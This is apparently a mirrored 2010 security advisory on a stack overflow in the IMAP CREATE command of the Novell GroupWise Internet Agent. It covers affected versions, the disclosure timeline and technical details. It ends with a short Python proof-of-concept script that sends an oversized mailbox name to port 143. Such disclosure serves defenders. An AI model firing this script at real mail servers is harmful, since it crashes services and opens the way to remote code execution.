Lucene search
K

Novell Groupwise Internet Agent Stack Overflow

🗓️ 17 Jul 2010 00:00:00Reported by Francis ProvencherType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Novell Groupwise Internet Agent Stack Overflow allows remote code execution by exploiting a vulnerability in the IMAP functionality. The stack can be overflowed by providing a long mailbox name, leading to arbitrary code execution

Code
`#####################################################################################  
  
Application: Novell Groupwise Internet Agent Stack Overflow  
  
Platforms: Windows, Linux, Netware (GroupWise 7.0, 7.01, 7.02,  
7.03x, 7.04, 8.0, 8.01x)  
  
Exploitation: Remote code execution  
  
CVE Number:  
  
Novell TID: 7006374  
  
Author: Francis Provencher (Protek Research Lab's)  
  
WebSite: http://www.protekresearchlab.com/  
  
  
#####################################################################################  
  
1) Introduction  
2) Report Timeline  
3) Technical details  
4) The Code  
  
  
#####################################################################################  
  
===============  
1) Introduction  
===============  
  
Novell, Inc. is a global software and services company based in  
Waltham, Massachusetts. The company specializes in  
  
enterprise operating systems, such as SUSE  
  
Linux Enterprise and Novell NetWare; identity, security, and systems  
management solutions; and collaboration solutions,  
  
such as Novell Groupwise and Novell  
  
Pulse.  
  
Novell was instrumental in making the Utah Valley a focus for  
technology and software development. Novell technology  
  
contributed to the emergence of local  
  
area networks, which displaced the dominant mainframe computing model  
and changed computing worldwide. Today, a primary  
  
focus of the company is on developing  
  
open source software for enterprise clients.  
  
(http://en.wikipedia.org/wiki/Novell)  
  
#####################################################################################  
  
============================  
2) Report Timeline  
============================  
  
2010-04-06 - Vulnerability reported to vendor  
2010-07-16 - Coordinated public release of advisory  
(http://www.zerodayinitiative.com/advisories/ZDI-10-129/)  
  
  
#####################################################################################  
  
============================  
3) Technical details  
============================  
  
This vulnerability allows remote attackers to execute arbitrary code  
on vulnerable installations of Novell Groupwise  
  
Internet Agent. Authentication is required to exploit this vulnerability.  
  
The flaw exists within the IMAP functionality included with GWIA. When  
provided with an overly long mailbox name to the  
  
CREATE verb, the IMAP server can be forced to overflow a buffer on the  
stack. Successful exploitation leads to remote  
  
code execution under the context of the server.  
  
  
#####################################################################################  
  
===========  
4) The Code  
===========  
  
#!/usr/bin/python  
#  
  
  
import socket  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
buffer = '\x41' * 532  
  
s.connect(('192.168.100.177',143))  
s.recv(1024)  
s.send('A001 LOGIN [email protected] test ' + buffer + '\r\n')  
s.recv(1024)  
s.send('A001 CREATE ' + buffer + '\r\n')  
s.recv(1024)  
s.close()  
  
  
  
  
#####################################################################################  
(PRL-2010-06)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation